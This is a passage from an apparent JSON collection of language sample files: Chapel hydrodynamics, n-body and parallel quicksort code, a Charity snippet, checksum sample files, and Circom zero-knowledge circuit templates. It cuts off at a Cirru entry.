vnew[eli],\n            norm = 1.0 / (vol + ptiny);\n      var ax, ay, az, dxv, dyv, dzv: real;\n\n      const dxj = -0.25*((xl[1]+xl[2]+xl[6]+xl[5])-(xl[4]+xl[3]+xl[7]+xl[8])),\n            dyj = -0.25*((yl[1]+yl[2]+yl[6]+yl[5])-(yl[4]+yl[3]+yl[7]+yl[8])),\n            dzj = -0.25*((zl[1]+zl[2]+zl[6]+zl[5])-(zl[4]+zl[3]+zl[7]+zl[8])),\n      \n            dxi =  0.25*((xl[2]+xl[3]+xl[7]+xl[6])-(xl[1]+xl[4]+xl[8]+xl[5])),\n            dyi =  0.25*((yl[2]+yl[3]+yl[7]+yl[6])-(yl[1]+yl[4]+yl[8]+yl[5])),\n            dzi =  0.25*((zl[2]+zl[3]+zl[7]+zl[6])-(zl[1]+zl[4]+zl[8]+zl[5])),\n        \n            dxk =  0.25*((xl[5]+xl[6]+xl[7]+xl[8])-(xl[1]+xl[2]+xl[3]+xl[4])),\n            dyk =  0.25*((yl[5]+yl[6]+yl[7]+yl[8])-(yl[1]+yl[2]+yl[3]+yl[4])),\n            dzk =  0.25*((zl[5]+zl[6]+zl[7]+zl[8])-(zl[1]+zl[2]+zl[3]+zl[4]));\n\n      /* find delvk and delxk ( i cross j ) */\n\n      ax = dyi*dzj - dzi*dyj;\n      ay = dzi*dxj - dxi*dzj;\n      az = dxi*dyj - dyi*dxj;\n\n      delx_zeta[eli] = vol / sqrt(ax*ax + ay*ay + az*az + ptiny);\n\n      ax *= norm;\n      ay *= norm;\n      az *= norm;\n\n      dxv = 0.25*((xvl[5]+xvl[6]+xvl[7]+xvl[8])-(xvl[1]+xvl[2]+xvl[3]+xvl[4]));\n      dyv = 0.25*((yvl[5]+yvl[6]+yvl[7]+yvl[8])-(yvl[1]+yvl[2]+yvl[3]+yvl[4]));\n      dzv = 0.25*((zvl[5]+zvl[6]+zvl[7]+zvl[8])-(zvl[1]+zvl[2]+zvl[3]+zvl[4]));\n\n      delv_zeta[eli] = ax*dxv + ay*dyv + az*dzv;\n\n      /* find delxi and delvi ( j cross k ) */\n\n      ax = dyj*dzk - dzj*dyk;\n      ay = dzj*dxk - dxj*dzk;\n      az = dxj*dyk - dyj*dxk;\n\n      delx_xi[eli] = vol / sqrt(ax*ax + ay*ay + az*az + ptiny) ;\n\n      ax *= norm;\n      ay *= norm;\n      az *= norm;\n\n      dxv = 0.25*((xvl[2]+xvl[3]+xvl[7]+xvl[6])-(xvl[1]+xvl[4]+xvl[8]+xvl[5]));\n      dyv = 0.25*((yvl[2]+yvl[3]+yvl[7]+yvl[6])-(yvl[1]+yvl[4]+yvl[8]+yvl[5]));\n      dzv = 0.25*((zvl[2]+zvl[3]+zvl[7]+zvl[6])-(zvl[1]+zvl[4]+zvl[8]+zvl[5]));\n\n      delv_xi[eli] = ax*dxv + ay*dyv + az*dzv ;\n\n      /* find delxj and delvj ( k cross i ) */\n\n      ax = dyk*dzi - dzk*dyi;\n      ay = dzk*dxi - dxk*dzi;\n      az = dxk*dyi - dyk*dxi;\n\n      delx_eta[eli] = vol / sqrt(ax*ax + ay*ay + az*az + ptiny) ;\n\n      ax *= norm;\n      ay *= norm;\n      az *= norm;\n\n      dxv= -0.25*((xvl[1]+xvl[2]+xvl[6]+xvl[5])-(xvl[4]+xvl[3]+xvl[7]+xvl[8]));\n      dyv= -0.25*((yvl[1]+yvl[2]+yvl[6]+yvl[5])-(yvl[4]+yvl[3]+yvl[7]+yvl[8]));\n      dzv= -0.25*((zvl[1]+zvl[2]+zvl[6]+zvl[5])-(zvl[4]+zvl[3]+zvl[7]+zvl[8]));\n\n      delv_eta[eli] = ax*dxv + ay*dyv + az*dzv ;\n    } /* local */\n  } /* forall eli */\n}\n\n\nproc CalcMonotonicQForElems(delv_xi, delv_eta, delv_zeta, \n                            delx_xi, delx_eta, delx_zeta) {\n  //got rid of call through to \"CalcMonotonicQRegionForElems\"\n\n  forall i in MatElems {\n    const ptiny = 1.0e-36;\n    const bcMask = elemBC[i];\n    var norm, delvm, delvp: real;\n\n    /* phixi */\n    norm = 1.0 / (delv_xi[i] + ptiny);\n\n    select bcMask & XI_M {\n      when 0         do delvm = delv_xi[lxim(i)];\n      when XI_M_SYMM do delvm = delv_xi[i];\n      when XI_M_FREE do delvm = 0.0;\n    }\n    select bcMask & XI_P {\n      when 0         do delvp = delv_xi[lxip(i)];\n      when XI_P_SYMM do delvp = delv_xi[i];\n      when XI_P_FREE do delvp = 0.0;\n    }\n\n    delvm *= norm;\n    delvp *= norm;\n\n    var phixi = 0.5 * (delvm + delvp);\n\n    delvm *= monoq_limiter_mult;\n    delvp *= monoq_limiter_mult;\n\n    if delvm < phixi           then phixi = delvm;\n    if delvp < phixi           then phixi = delvp;\n    if phixi < 0               then phixi = 0.0;\n    if phixi > monoq_max_slope then phixi = monoq_max_slope;\n\n    /* phieta */\n    norm = 1.0 / (delv_eta[i] + ptiny);\n\n    select bcMask & ETA_M {\n      when 0          do delvm = delv_eta[letam[i]];\n      when ETA_M_SYMM do delvm = delv_eta[i];      \n      when ETA_M_FREE do delvm = 0.0;      \n    }\n    select bcMask & ETA_P {\n      when 0          do delvp = delv_eta[letap[i]];\n      when ETA_P_SYMM do delvp = delv_eta[i];      \n      when ETA_P_FREE do delvp = 0.0;      \n    }\n\n    delvm = delvm * norm;\n    delvp = delvp * norm;\n\n    var phieta = 0.5 * (delvm + delvp);\n\n    delvm *= monoq_limiter_mult;\n    delvp *= monoq_limiter_mult;\n\n    if delvm  < phieta          then phieta = delvm;\n    if delvp  < phieta          then phieta = delvp;\n    if phieta < 0.0             then phieta = 0.0;\n    if phieta > monoq_max_slope then phieta = monoq_max_slope;\n\n    /*  phizeta     */\n    norm = 1.0 / (delv_zeta[i] + ptiny);\n\n    select bcMask & ZETA_M {\n      when 0           do delvm = delv_zeta[lzetam[i]];\n      when ZETA_M_SYMM do delvm = delv_zeta[i];       \n      when ZETA_M_FREE do delvm = 0.0;        \n    }\n    select bcMask & ZETA_P {\n      when 0           do delvp = delv_zeta[lzetap[i]];\n      when ZETA_P_SYMM do delvp = delv_zeta[i];       \n      when ZETA_P_FREE do delvp = 0.0;        \n    }\n\n    delvm = delvm * norm;\n    delvp = delvp * norm;\n\n    var phizeta = 0.5 * (delvm + delvp);\n\n    delvm *= monoq_limiter_mult;\n    delvp *= monoq_limiter_mult;\n\n    if delvm   < phizeta          then phizeta = delvm;\n    if delvp   < phizeta         then phizeta = delvp;\n    if phizeta < 0.0                 then phizeta = 0.0;\n    if phizeta > monoq_max_slope then phizeta = monoq_max_slope;\n\n    /* Remove length scale */\n    var qlin, qquad: real;\n    if vdov[i] > 0.0 {\n      qlin  = 0.0;\n      qquad = 0.0;\n    } else {\n      var delvxxi   = delv_xi[i]   * delx_xi[i],\n          delvxeta  = delv_eta[i]  * delx_eta[i],\n          delvxzeta = delv_zeta[i] * delx_zeta[i];\n\n      if delvxxi   > 0.0 then delvxxi   = 0.0;\n      if delvxeta  > 0.0 then delvxeta  = 0.0;\n      if delvxzeta > 0.0 then delvxzeta = 0.0;\n\n      const rho = elemMass[i] / (volo[i] * vnew[i]);\n\n      qlin = -qlc_monoq * rho *\n        ( delvxxi   * (1.0 - phixi) +\n          delvxeta  * (1.0 - phieta) +\n          delvxzeta * (1.0 - phizeta));\n\n      qquad = qqc_monoq * rho *\n        ( delvxxi**2   * (1.0 - phixi**2) +\n          delvxeta**2  * (1.0 - phieta**2) +\n          delvxzeta**2 * (1.0 - phizeta**2));\n    }\n    qq[i] = qquad;\n    ql[i] = qlin;\n\n  }\n}\n\n\nproc EvalEOSForElems(vnewc) {\n  const rho0 = refdens;\n\n  var e_old, delvc, p_old, q_old, compression, compHalfStep, \n    qq_old, ql_old, work, p_new, e_new, q_new, bvc, pbvc: [Elems] real;\n\n  /* compress data, minimal set */\n  forall i in MatElems {\n    e_old[i]  = e[i];\n    delvc[i]  = delv[i];\n    p_old[i]  = p[i];\n    q_old[i]  = q[i];\n    qq_old[i] = qq[i];\n    ql_old[i] = ql[i];\n  }\n\n  //\n  // TODO: Uncomment local once sparse domain is distributed\n  //\n  forall i in Elems /* do local */ {\n    compression[i] = 1.0 / vnewc[i] - 1.0;\n    const vchalf = vnewc[i] - delvc[i] * 0.5;\n    compHalfStep[i] = 1.0 / vchalf - 1.0;\n  }\n\n  /* Check for v > eosvmax or v < eosvmin */\n  // (note: I think this was already checked for in calling function!)\n  if eosvmin != 0.0 {\n    forall i in Elems {\n      if vnewc[i] <= eosvmin then compHalfStep[i] = compression[i];\n    }\n  }\n  if eosvmax != 0.0 {\n    forall i in Elems {\n      if vnewc[i] >= eosvmax {\n        p_old[i] = 0.0;\n        compression[i] = 0.0;\n        compHalfStep[i] = 0.0;\n      }\n    }\n  }\n\n  CalcEnergyForElems(p_new, e_new, q_new, bvc, pbvc, \n                     p_old, e_old, q_old, compression, compHalfStep, \n                     vnewc, work, delvc, qq_old, ql_old);\n\n  forall i in MatElems {\n    p[i] = p_new[i];\n    e[i] = e_new[i];\n    q[i] = q_new[i];\n  }\n\n  CalcSoundSpeedForElems(vnewc, rho0, e_new, p_new, pbvc, bvc);\n}\n\n\nproc CalcEnergyForElems(p_new, e_new, q_new, bvc, pbvc,\n                        p_old, e_old, q_old, compression, compHalfStep, \n                        vnewc, work, delvc, qq_old, ql_old) {\n  // TODO: might need to move these consts into foralls or global\n  // Otherwise, they live on Locale0 and everyone else has to do \n  // remote reads.  OR: Check if they're remote value forwarded.\n  const rho0 = refdens; \n  const sixth = 1.0 / 6.0;\n\n  var pHalfStep: [MatElems] real;\n\n  forall i in Elems {\n    e_new[i] = e_old[i] - 0.5 * delvc[i] * (p_old[i] + q_old[i]) \n                        + 0.5 * work[i];\n    if e_new[i] < emin then e_new[i] = emin;\n  }\n\n  CalcPressureForElems(pHalfStep, bvc, pbvc, e_new, compHalfStep,\n                       vnewc, pmin, p_cut, eosvmax);\n\n  forall i in Elems {\n    const vhalf = 1.0 / (1.0 + compHalfStep[i]);\n\n    if delvc[i] > 0.0 {\n      q_new[i] = 0.0;\n    } else {\n      var ssc = (pbvc[i] * e_new[i] + vhalf**2 * bvc[i] * pHalfStep[i]) / rho0;\n      if ssc <= 0.0 then ssc = 0.333333e-36;\n      else ssc = sqrt(ssc);\n      q_new[i] = ssc * ql_old[i] + qq_old[i];\n    }\n\n    e_new[i] += 0.5 * delvc[i]\n      * (3.0*(p_old[i] + q_old[i]) - 4.0*(pHalfStep[i] + q_new[i]));\n  }\n  forall i in Elems {\n    e_new[i] += 0.5 * work[i];\n    if abs(e_new[i] < e_cut) then e_new[i] = 0.0;\n    if e_new[i] < emin then e_new[i] = emin;\n  }\n\n  CalcPressureForElems(p_new, bvc, pbvc, e_new, compression, vnewc, pmin,\n                       p_cut, eosvmax);\n\n  forall i in Elems {\n    var q_tilde:real;\n\n    if delvc[i] > 0.0 {\n      q_tilde = 0.0;\n    } else {\n      var ssc = (pbvc[i] * e_new[i] + vnewc[i]**2 * bvc[i] * p_new[i] ) / rho0;\n      if ssc <= 0.0 then ssc = 0.333333e-36;\n      else ssc = sqrt(ssc);\n      q_tilde = ssc * ql_old[i] + qq_old[i];\n    }\n\n    e_new[i] -= (7.0*(p_old[i] + q_old[i]) \n                 - 8.0*(pHalfStep[i] + q_new[i]) \n                 + (p_new[i] + q_tilde)) * delvc[i] * sixth;\n    if abs(e_new[i]) < e_cut then e_new[i] = 0.0;\n    if e_new[i] < emin then e_new[i] = emin;\n  }\n\n  CalcPressureForElems(p_new, bvc, pbvc, e_new, compression, vnewc, pmin,\n                       p_cut, eosvmax);\n\n\n  //\n  // TODO: Uncomment local once sparse domain is distributed\n  //\n  forall i in Elems /* do local */ {\n    if delvc[i] <= 0.0 {\n      var ssc = (pbvc[i] * e_new[i] + vnewc[i]**2 * bvc[i] * p_new[i] ) / rho0;\n      if ssc <= 0.0 then ssc = 0.333333e-36;\n                    else ssc = sqrt(ssc);\n      q_new[i] = ssc * ql_old[i] + qq_old[i];\n      if abs(q_new[i]) < q_cut then q_new[i] = 0.0;\n    }\n  }\n}\n\n\nproc CalcSoundSpeedForElems(vnewc, rho0:real, enewc, pnewc, pbvc, bvc) {\n  // TODO: Open question: If we had multiple materials, should (a) ss\n  // be zeroed and accumulated into, and (b) updated atomically to\n  // avoid losing updates?  (Jeff will go back and think on this)\n  //\n  forall i in MatElems {\n    var ssTmp = (pbvc[i] * enewc[i] + vnewc[i]**2 * bvc[i] * pnewc[i]) / rho0;\n    if ssTmp <= 1.111111e-36 then ssTmp = 1.111111e-36;\n    ss[i] = sqrt(ssTmp);\n  }\n}\n\n\niter elemToNodes(elem) {\n  for i in 1..nodesPerElem do\n    yield elemToNode[elem][i];\n}\n                                 \niter elemToNodesTuple(e) {\n  for i in 1..nodesPerElem do\n    yield (elemToNode[e][i], i);\n}\n\n\nproc deprint(title:string, x:[?D] real, y:[D] real, z:[D] real) {\n  writeln(title);\n  for i in D do\n    writef(\"%3i: %3.4er %3.4er %3.4er\\n\", \n           if use3DRepresentation then idx3DTo1D(i, D.dim(1).size) else i, \n           x[i], y[i], z[i]);\n}\n\n\nproc deprintatomic(title:string, x:[?D] atomic real, y:[] atomic real, z:[] atomic real) {\n  writeln(title);\n  for i in D do\n    writef(\"%3i: %3.4er %3.4er %3.4er\\n\", \n           if use3DRepresentation then idx3DTo1D(i, D.dim(1).size) else i, \n           x[i].peek(), y[i].peek(), z[i].peek());\n}\n"
  },
  {
    "path": "samples/Chapel/nbody.chpl",
    "content": "/* The Computer Language Benchmarks Game\n   http://benchmarksgame.alioth.debian.org/\n\n   contributed by Albert Sidelnik\n   modified by Brad Chamberlain\n*/\n\n\n//\n// The number of timesteps to simulate; may be set via the command-line\n//\nconfig const n = 10000;\n\n//\n// Constants representing pi, the solar mass, and the number of days per year\n//\nconst pi = 3.141592653589793,\n      solarMass = 4 * pi**2,\n      daysPerYear = 365.24;\n\n//\n// a record representing one of the bodies in the solar system\n//\nrecord body {\n  var pos: 3*real;\n  var v: 3*real;\n  var mass: real;  // does not change after it is set up\n}\n\n//\n// the array of bodies that we'll be simulating\n//\nvar bodies = [/* sun */\n              new body(mass = solarMass),\n\n              /* jupiter */\n              new body(pos = ( 4.84143144246472090e+00,\n                              -1.16032004402742839e+00,\n                              -1.03622044471123109e-01),\n                         v = ( 1.66007664274403694e-03 * daysPerYear,\n                               7.69901118419740425e-03 * daysPerYear,\n                              -6.90460016972063023e-05 * daysPerYear),\n                      mass =   9.54791938424326609e-04 * solarMass),\n  \n              /* saturn */\n              new body(pos = ( 8.34336671824457987e+00,\n                               4.12479856412430479e+00,\n                              -4.03523417114321381e-01),\n                         v = (-2.76742510726862411e-03 * daysPerYear,\n                               4.99852801234917238e-03 * daysPerYear,\n                               2.30417297573763929e-05 * daysPerYear),\n                      mass =   2.85885980666130812e-04 * solarMass),\n\n              /* uranus */\n              new body(pos = ( 1.28943695621391310e+01,\n                              -1.51111514016986312e+01,\n                              -2.23307578892655734e-01),\n                         v = ( 2.96460137564761618e-03 * daysPerYear,\n                               2.37847173959480950e-03 * daysPerYear,\n                              -2.96589568540237556e-05 * daysPerYear),\n                      mass =   4.36624404335156298e-05 * solarMass),\n\n              /* neptune */\n              new body(pos = ( 1.53796971148509165e+01,\n                              -2.59193146099879641e+01,\n                               1.79258772950371181e-01),\n                         v = ( 2.68067772490389322e-03 * daysPerYear,\n                               1.62824170038242295e-03 * daysPerYear,\n                              -9.51592254519715870e-05 * daysPerYear),\n                      mass =   5.15138902046611451e-05 * solarMass)\n              ];\n\n//\n// the number of bodies to be simulated\n//\nconst numbodies = bodies.numElements;\n\n//\n// The computation involves initializing the sun's velocity,\n// writing the initial energy, advancing the system through 'n'\n// timesteps, and writing the final energy.\n//\nproc main() {\n  initSun();\n\n  writef(\"%.9r\\n\", energy());\n  for 1..n do\n    advance(0.01);\n  writef(\"%.9r\\n\", energy());\n}\n\n//\n// compute the sun's initial velocity\n//\nproc initSun() {\n  const p = + reduce (for b in bodies do (b.v * b.mass));\n  bodies[1].v = -p / solarMass;\n}\n\n//\n// advance the positions and velocities of all the bodies\n//\nproc advance(dt) {\n  for i in 1..numbodies {\n    for j in i+1..numbodies {\n      updateVelocities(bodies[i], bodies[j]);\n      \n      inline proc updateVelocities(ref b1, ref b2) {\n        const dpos = b1.pos - b2.pos,\n               mag = dt / sqrt(sumOfSquares(dpos))**3;\n        \n        b1.v -= dpos * b2.mass * mag;\n        b2.v += dpos * b1.mass * mag;\n      }\n    }\n  }\n  \n  for b in bodies do\n    b.pos += dt * b.v;\n}\n\n//\n// compute the energy of the bodies\n//\nproc energy() {\n  var e = 0.0;\n  \n  for i in 1..numbodies {\n    const b1 = bodies[i];\n    \n    e += 0.5 * b1.mass * sumOfSquares(b1.v);\n    \n    for j in i+1..numbodies {\n      const b2 = bodies[j];\n      \n      e -= (b1.mass * b2.mass) / sqrt(sumOfSquares(b1.pos - b2.pos));\n    }\n  }\n  \n  return e;\n}\n\n//\n// a helper routine to compute the sum of squares of a 3-tuple's components\n//\ninline proc sumOfSquares(x)\n  return x(1)**2 + x(2)**2 + x(3)**2;\n"
  },
  {
    "path": "samples/Chapel/quicksort.chpl",
    "content": "//\n// An example of a parallel quick sort implementation that uses\n// \"cobegin\" to make each recursive call in parallel and \"serial\" to\n// limit the number of threads.\n//\n\nuse Random, Time; // for random number generation and the Timer class\n\nvar timer: Timer; // to time the sort\n\nconfig var n: int = 2**15;      // the size of the array to be sorted\nconfig var thresh: int = 1;     // the recursive depth to serialize\nconfig var verbose: int = 0;    // print out this many elements in array\nconfig var timing: bool = true; // set timing to false to disable timer\n\nvar A: [1..n] real; // array of real numbers\n\n//\n// initialize array with random numbers\n//\nfillRandom(A);\n\n//\n// print out front of array if verbose flag is set\n//\nif verbose > 0 then\n  writeln(\"A[1..\", verbose, \"] = \", A[1..verbose]);\n\n//\n// start timer, call parallel quick sort routine, stop timer\n//\nif timing then timer.start();\npqsort(A, thresh);\nif timing then timer.stop();\n\n//\n// report sort time\n//\nif timing then writeln(\"sorted in \", timer.elapsed(), \" seconds\");\n\n//\n// print out front of array if verbose flag is set\n//   values should now be in sorted order\n//\nif verbose > 0 then\n  writeln(\"A[1..\", verbose, \"] = \", A[1..verbose]);\n\n//\n// verify that array is sorted or halt\n//\nfor i in 2..n do\n  if A(i) < A(i-1) then\n    halt(\"A(\", i-1, \") == \", A(i-1), \" > A(\", i, \") == \", A(i));\n\nwriteln(\"verification success\");\n\n//\n// pqsort -- parallel quick sort\n//\n//   arr: generic 1D array of values (real, int, ...)\n//   thresh: number of recursive calls to make before serializing\n//   low: lower bound of array to start sort at, defaults to whole array\n//   high: upper bound of array to stop sort at, defaults to whole array\n//\nproc pqsort(arr: [],\n           thresh: int,\n           low: int = arr.domain.low,\n           high: int = arr.domain.high) where arr.rank == 1 {\n\n  //\n  // base case: arr[low..high] is small enough to bubble sort\n  //\n  if high - low < 8 {\n    bubbleSort(arr, low, high);\n    return;\n  }\n\n  //\n  // determine pivot and partition arr[low..high]\n  //\n  const pivotVal = findPivot();\n  const pivotLoc = partition(pivotVal);\n\n  //\n  // make recursive calls to parallel quick sort each unsorted half of\n  // the array; if thresh is 0 or less, start executing conquer tasks\n  // serially\n  //\n  serial thresh <= 0 do cobegin {\n    pqsort(arr, thresh-1, low, pivotLoc-1);\n    pqsort(arr, thresh-1, pivotLoc+1, high);\n  }\n\n  //\n  // findPivot -- helper routine to find pivot value using simple\n  //              median-of-3 method, returns pivot value\n  //\n  proc findPivot() {\n    const mid = low + (high-low+1) / 2;\n\n    if arr(mid) < arr(low) then arr(mid) <=> arr(low);\n    if arr(high) < arr(low) then arr(high) <=> arr(low);\n    if arr(high) < arr(mid) then arr(high) <=> arr(mid);\n\n    const pivotVal = arr(mid);\n    arr(mid) = arr(high-1);\n    arr(high-1) = pivotVal;\n\n    return pivotVal;\n  }\n\n  //\n  // partition -- helper routine to partition array such that all\n  //              values less than pivot are to its left and all\n  //              values greater than pivot are to its right, returns\n  //              pivot location\n  //\n  proc partition(pivotVal) {\n    var ilo = low, ihi = high-1;\n    while (ilo < ihi) {\n      do { ilo += 1; } while arr(ilo) < pivotVal;\n      do { ihi -= 1; } while pivotVal < arr(ihi);\n      if (ilo < ihi) {\n        arr(ilo) <=> arr(ihi);\n      }\n    }\n    arr(high-1) = arr(ilo);\n    arr(ilo) = pivotVal;\n    return ilo;\n  }\n}\n\n//\n// bubbleSort -- bubble sort for base case of quick sort\n//\n//   arr: generic 1D array of values (real, int, ...)\n//   low: lower bound of array to start sort at\n//   high: upper bound of array to stop sort at\n//\nproc bubbleSort(arr: [], low: int, high: int) where arr.rank == 1 {\n  for i in low..high do\n    for j in low..high-1 do\n      if arr(j) > arr(j+1) then\n        arr(j) <=> arr(j+1);\n}\n"
  },
  {
    "path": "samples/Charity/example.ch",
    "content": "%\n%   Some very badly written Charity\n%\n\ndata LA(A) -> D = ss: A -> D\n                | ff: -> D.\n"
  },
  {
    "path": "samples/Checksums/bsd-style.sha256",
    "content": "SHA256 (empty) = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\nSHA256 (file0) = 0000000000000000000000000000000000000000000000000000000000000000\nSHA256 (file1) = 0000000000000000000000000000000000000000000000000000000000000001\n"
  },
  {
    "path": "samples/Checksums/filenames/SHA256SUMS",
    "content": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 *empty_binary_file\n0000000000000000000000000000000000000000000000000000000000000000 *file0\n0000000000000000000000000000000000000000000000000000000000000001 *file1\n"
  },
  {
    "path": "samples/Checksums/filenames/SHA256SUMS.txt",
    "content": "SHA256 (empty) = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\nSHA256 (file0) = 0000000000000000000000000000000000000000000000000000000000000000\nSHA256 (file1) = 0000000000000000000000000000000000000000000000000000000000000001\n"
  },
  {
    "path": "samples/Checksums/gnu-style-text.sha256",
    "content": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  empty_text_file\n"
  },
  {
    "path": "samples/Checksums/gnu-style.sha256",
    "content": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 *empty_binary_file\n0000000000000000000000000000000000000000000000000000000000000000 *file0\n0000000000000000000000000000000000000000000000000000000000000001 *file1\n"
  },
  {
    "path": "samples/Checksums/single_hash.crc32",
    "content": "ffffffff\n"
  },
  {
    "path": "samples/Checksums/single_hash.md2",
    "content": "8350e5a3e24c153df2275c9f80692773\n"
  },
  {
    "path": "samples/Checksums/single_hash.md4",
    "content": "31d6cfe0d16ae931b73c59d7e0c089c0\n"
  },
  {
    "path": "samples/Checksums/single_hash.md5",
    "content": "d41d8cd98f00b204e9800998ecf8427e\n"
  },
  {
    "path": "samples/Checksums/single_hash.sha1",
    "content": "da39a3ee5e6b4b0d3255bfef95601890afd80709\n"
  },
  {
    "path": "samples/Checksums/single_hash.sha224",
    "content": "d14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f\n"
  },
  {
    "path": "samples/Checksums/single_hash.sha256",
    "content": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\n"
  },
  {
    "path": "samples/Checksums/single_hash.sha384",
    "content": "38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b\n"
  },
  {
    "path": "samples/Checksums/single_hash.sha512",
    "content": "cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e\n"
  },
  {
    "path": "samples/Checksums/single_hash_dec.crc32",
    "content": "4294967295\n"
  },
  {
    "path": "samples/Checksums/single_hash_no_trailing_newline.sha256",
    "content": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
  },
  {
    "path": "samples/Checksums/zero.sha2",
    "content": "0000000000000000000000000000000000000000000000000000000000000000\n"
  },
  {
    "path": "samples/Checksums/zero.sha3",
    "content": "00000000000000000000000000000000000000000000000000000000\n"
  },
  {
    "path": "samples/Circom/binsum.circom",
    "content": "/*\n    Copyright 2018 0KIMS association.\n\n    This file is part of circom (Zero Knowledge Circuit Compiler).\n\n    circom is a free software: you can redistribute it and/or modify it\n    under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    circom is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n    License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with circom. If not, see <https://www.gnu.org/licenses/>.\n*/\n\n/*\n\nBinary Sum\n==========\n\nThis component creates a binary sum componet of ops operands and n bits each operand.\n\ne is Number of carries: Depends on the number of operands in the input.\n\nMain Constraint:\n   in[0][0]     * 2^0  +  in[0][1]     * 2^1  + ..... + in[0][n-1]    * 2^(n-1)  +\n + in[1][0]     * 2^0  +  in[1][1]     * 2^1  + ..... + in[1][n-1]    * 2^(n-1)  +\n + ..\n + in[ops-1][0] * 2^0  +  in[ops-1][1] * 2^1  + ..... + in[ops-1][n-1] * 2^(n-1)  +\n ===\n   out[0] * 2^0  + out[1] * 2^1 +   + out[n+e-1] *2(n+e-1)\n\nTo waranty binary outputs:\n\n    out[0]     * (out[0] - 1) === 0\n    out[1]     * (out[0] - 1) === 0\n    .\n    .\n    .\n    out[n+e-1] * (out[n+e-1] - 1) == 0\n\n */\n\n\n/*\n    This function calculates the number of extra bits in the output to do the full sum.\n */\n pragma circom 2.0.0;\n\nfunction nbits(a) {\n    var n = 1;\n    var r = 0;\n    while (n-1<a) {\n        r++;\n        n *= 2;\n    }\n    return r;\n}\n\n\ntemplate BinSum(n, ops) {\n    var nout = nbits((2**n -1)*ops);\n    signal input in[ops][n];\n    signal output out[nout];\n\n    var lin = 0;\n    var lout = 0;\n\n    var k;\n    var j;\n\n    var e2;\n\n    e2 = 1;\n    for (k=0; k<n; k++) {\n        for (j=0; j<ops; j++) {\n            lin += in[j][k] * e2;\n        }\n        e2 = e2 + e2;\n    }\n\n    e2 = 1;\n    for (k=0; k<nout; k++) {\n        out[k] <-- (lin >> k) & 1;\n\n        // Ensure out is binary\n        out[k] * (out[k] - 1) === 0;\n\n        lout += out[k] * e2;\n\n        e2 = e2+e2;\n    }\n\n    // Ensure the sum;\n\n    lin === lout;\n}"
  },
  {
    "path": "samples/Circom/switcher.circom",
    "content": "\n/*\n    Copyright 2018 0KIMS association.\n\n    This file is part of circom (Zero Knowledge Circuit Compiler).\n\n    circom is a free software: you can redistribute it and/or modify it\n    under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    circom is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n    License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with circom. If not, see <https://www.gnu.org/licenses/>.\n*/\n\n/*\n    Assume sel is binary.\n\n    If sel == 0 then outL = L and outR=R\n    If sel == 1 then outL = R and outR=L\n\n */\n \npragma circom 2.0.0;\n\ntemplate Switcher() {\n    signal input sel;\n    signal input L;\n    signal input R;\n    signal output outL;\n    signal output outR;\n\n    signal aux;\n\n    aux <== (R-L)*sel;    // We create aux in order to have only one multiplication\n    outL <==  aux + L;\n    outR <== -aux + R;\n}"
  },
  {
    "path": "samples/Circom/xor3.circom",
    "content": "/*\n    Copyright 2018 0KIMS association.\n\n    This file is part of circom (Zero Knowledge Circuit Compiler).\n\n    circom is a free software: you can redistribute it and/or modify it\n    under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    circom is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n    License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with circom. If not, see <https://www.gnu.org/licenses/>.\n*/\n\n/* Xor3 function for sha256\n\nout = a ^ b ^ c  =>\n\nout = a+b+c - 2*a*b - 2*a*c - 2*b*c + 4*a*b*c   =>\n\nout = a*( 1 - 2*b - 2*c + 4*b*c ) + b + c - 2*b*c =>\n\nmid = b*c\nout = a*( 1 - 2*b -2*c + 4*mid ) + b + c - 2 * mid\n\n*/\npragma circom 2.0.0;\n\ntemplate Xor3(n) {\n    signal input a[n];\n    signal input b[n];\n    signal input c[n];\n    signal output out[n];\n    signal mid[n];\n\n    for (var k=0; k<n; k++) {\n        mid[k] <== b[k]*c[k];\n        out[k] <== a[k] * (1 -2*b[k]  -2*c[k] +4*mid[k]) + b[k] + c[k] -2*mid[k];\n    }\n}"
  },
  {
    "path": "samples/Cirru/calcit.cirru",
